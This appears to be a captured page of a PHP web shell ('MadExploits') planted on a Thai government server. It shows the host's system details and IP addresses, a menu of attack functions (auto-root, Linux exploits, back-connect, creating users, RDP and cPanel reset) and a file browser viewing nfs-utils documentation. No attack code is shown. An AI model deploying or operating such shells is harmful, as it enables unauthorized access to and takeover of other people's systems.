Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
nfs-utils-1.2.3 /
[ HOME SHELL ]
Name
Size
Permission
Action
ChangeLog
2.34
KB
-rw-r--r--
INSTALL
563
B
-rw-r--r--
KNOWNBUGS
1.03
KB
-rw-r--r--
Makefile
11.98
KB
-rw-r--r--
Makefile.am
159
B
-rw-r--r--
Makefile.in
11.38
KB
-rw-r--r--
NEW
10.09
KB
-rw-r--r--
README
2.25
KB
-rw-r--r--
THANKS
291
B
-rw-r--r--
TODO
4.41
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : KNOWNBUGS
nfsd: * We currently keep the inode in the exports struct. This is a bad idea with directories that are intended to be used as a mount point. Must store the file name instead and do a lookup when getfh is called. Yuck! Even yuckier: what do we do about exports matching when we can't keep the inode number? * stating a file on remote cdrom returns st_blocks == 0 for some apps. * Should allow multiple exports per dev if one of the directories isn't a subdir of the other. nfsclnt: * On some occasions, an EAGAIN reported by the transport layer will be propagated to the VFS. * Some operations do not seem to release the inode properly, so unmounting the device fails. lockd: * Handle portmap registration in a separate thread. portmap may not be running when we try to mount the first NFS volume (esp. when mounting /usr). * Does not inform rpc.statd when hosts no longer require monitoring; hosts are incorrectly monitored until next system reboot. exportfs/mountd: * Export handling is reported to do odd things at times.
Close